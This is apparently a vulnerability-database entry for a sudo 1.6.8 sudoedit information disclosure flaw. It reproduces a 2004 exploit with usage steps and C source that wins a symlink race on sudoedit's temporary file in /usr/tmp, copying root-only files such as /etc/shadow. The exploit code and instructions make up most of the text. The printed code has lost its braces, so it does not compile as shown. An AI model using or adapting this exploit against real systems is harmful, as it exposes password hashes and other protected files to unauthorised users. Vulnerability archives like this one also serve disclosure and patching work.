Sudo 1.6.8 Information Disclosure Vulnerability

ID SSV:78302
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.


Sudo is reported prone to an information disclosure vulnerability.

This vulnerability presents itself when sudo is called with the '-e' option, or the 'sudoedit' command is invoked. In certain circumstances, attackers may access the contents of arbitrary files with superuser privileges.

Version 1.6.8 is reported susceptible to this vulnerability.


           Copyright ? Rosiello Security 2004

                  sudoedit Exploit

SOFTWARE : sudoedit
DATE: 18/09/2004

A flaw in exists in sudo's -u option (aka sudoedit)
in sudo version 1.6.8 that can give an attacker
read permission to a file that would otherwise be

Sudo versions affected:
1.6.8 only

Reznic Valery discovered the problem.


All the information that you can find in this software
were published for educational and didactic purpose only.
The author published this program under the condition
that is not in the intention of the reader to use them
in order to bring to himself or others a profit or to bring
to others damage.

!Respect the law!

How do I use this code ?

To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.


1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.

The file "rosiello" is now a copy of "/etc/shadow".

AUTHOR : Angelo Rosiello


#include <stdio.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <dirent.h>

int main( int argc, char *argv[] )
        char PATH[]="/usr/tmp";
        char file[32];
        DIR *tmp;
        struct dirent *de;
        tmp = opendir ( PATH );
        int found = 0;

        printf( "Copyright ?? Rosiello Security 2004\n" );
        printf( "\n" );

        if( argc!=2 )
                printf( "USAGE: %s file\n", argv[0] );
                return( 0 );

        while ( (de = readdir ( tmp ))!= NULL )
                if ( (strstr(de->d_name, "rosiello") != NULL) )
                        if( strlen(de->d_name) > 24 ) return( 0 );
                        sprintf( file, "%s/%s", PATH, (char *)de->d_name );
                        remove( file );
                        if( fork()!=0 )
                                execl( "/bin/ln", "ln", "-s", argv[1], file, NULL );
                        wait( );
                        printf( "Now you can close sudoedit and reopen rosiello!\n" );
                        goto end;


        closedir( tmp );

        if( !found )
                printf( "File Not Found!\n" );
        return( 0 );